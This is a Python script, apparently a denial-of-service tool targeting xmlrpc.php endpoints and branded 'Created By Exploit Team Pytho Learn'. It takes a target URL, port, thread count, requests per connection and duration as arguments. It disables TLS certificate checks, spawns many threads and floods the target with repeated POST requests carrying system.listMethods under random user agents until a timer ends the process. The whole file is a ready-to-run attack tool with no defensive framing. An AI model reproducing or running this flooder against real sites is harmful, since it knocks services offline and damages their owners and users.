from socket import socket , AF_INET , SOCK_STREAM from threading import Thread as thr from colorama import Fore , init from sys import argv from os import system , name , kill , getpid from pystyle import Colorate , Colors from urllib.parse import urlparse from ssl import CERT_NONE , create_default_context from certifi import where from time import sleep from fake_useragent import UserAgent system('cls' if name == 'nt' else 'clear') red = Fore.LIGHTRED_EX; green = Fore.LIGHTGREEN_EX; blue = Fore.LIGHTBLUE_EX; yellow = Fore.LIGHTYELLOW_EX; cyan = Fore.LIGHTCYAN_EX; white = Fore.LIGHTWHITE_EX; magenta = Fore.LIGHTMAGENTA_EX banner = """ ▐▄• ▄ • ▌ ▄ ·. ▄▄▌ ▄▄▄ ▄▄▄· ▄▄· ▄▄▄ .▐▄• ▄ ▄▄▄·▄▄▌ ▪️ ▄▄▄▄▄ █▌█▌▪️·██ ▐███▪️██• ▀▄ █·▐█ ▄█▐█ ▌▪️ ▀▄.▀· █▌█▌▪️▐█ ▄███• ▪️ ██ •██ . Created By Exploit ·██· ▐█ ▌▐▌▐█·██▪️ ▐▀▀▄ ██▀·██ ▄▄ ▐▀▀▪️▄ ·██· ██▀·██▪️ ▄█▀▄ ▐█· ▐█.▪️ . Team Pytho Learn ▪️▐█·█▌██ ██▌▐█▌▐█▌▐▌▐█•█▌▐█▪️·•▐███▌ ▐█▄▄▌▪️▐█·█▌▐█▪️·•▐█▌▐▌▐█▌.▐▌▐█▌ ▐█▌· . Use Powerfull xD •▀▀ ▀▀▀▀ █▪️▀▀▀.▀▀▀ .▀ ▀.▀ ·▀▀▀ ▀▀▀ •▀▀ ▀▀.▀ .▀▀▀ ▀█▄▀▪️▀▀▀ ▀▀▀ """ print(Colorate.Horizontal(Colors.green_to_cyan , banner , 2)) try: url = str(argv[1]) port = int(argv[2]) threads = int(argv[3]) rpc = int(argv[4]) timmer = int(argv[5]) except: print(f"\n{red}[{yellow}+{red}] {green}{'python' if name == 'nt' else 'python3'} {argv[0]} {white}<{cyan}url{white}> <{cyan}port{white}> <{cyan}threads{white}> <{cyan}rpc{white}> <{cyan}time{white}>\n") ssl = create_default_context(cafile=where()) ssl.check_hostname = False ssl.verify_mode = CERT_NONE try: parse = urlparse(url) target = parse.netloc us = UserAgent() ua = us.random except: pass def main(): while True: try: if url.split('://')[0] == 'https': s = socket(AF_INET , SOCK_STREAM) s = ssl.wrap_socket(s , server_hostname=target) s.connect((target , port)) else: s = socket(AF_INET , SOCK_STREAM) s.connect((target , port)) for _ in range(rpc): payl = f'POST /xmlrpc.php HTTP/1.1\r\nHost: {target}\r\nUser-Agent: {ua}\r\nContent-Length: 131\r\n\r\n\r\nsystem.listMethods\r\n\r\n\r\n\r\n'.encode() s.send(payl) except: pass def timer(): sleep(timmer) ; kill(getpid() , 9) try: print(f'\n{red}[{yellow}+{red}]{green} Attack Started {white}URL {red}: {magenta}{url} {red}| {cyan}Time : {green}{timmer}') thr(target=timer).start() for _ in range(threads): thr(target=main).start() except: pass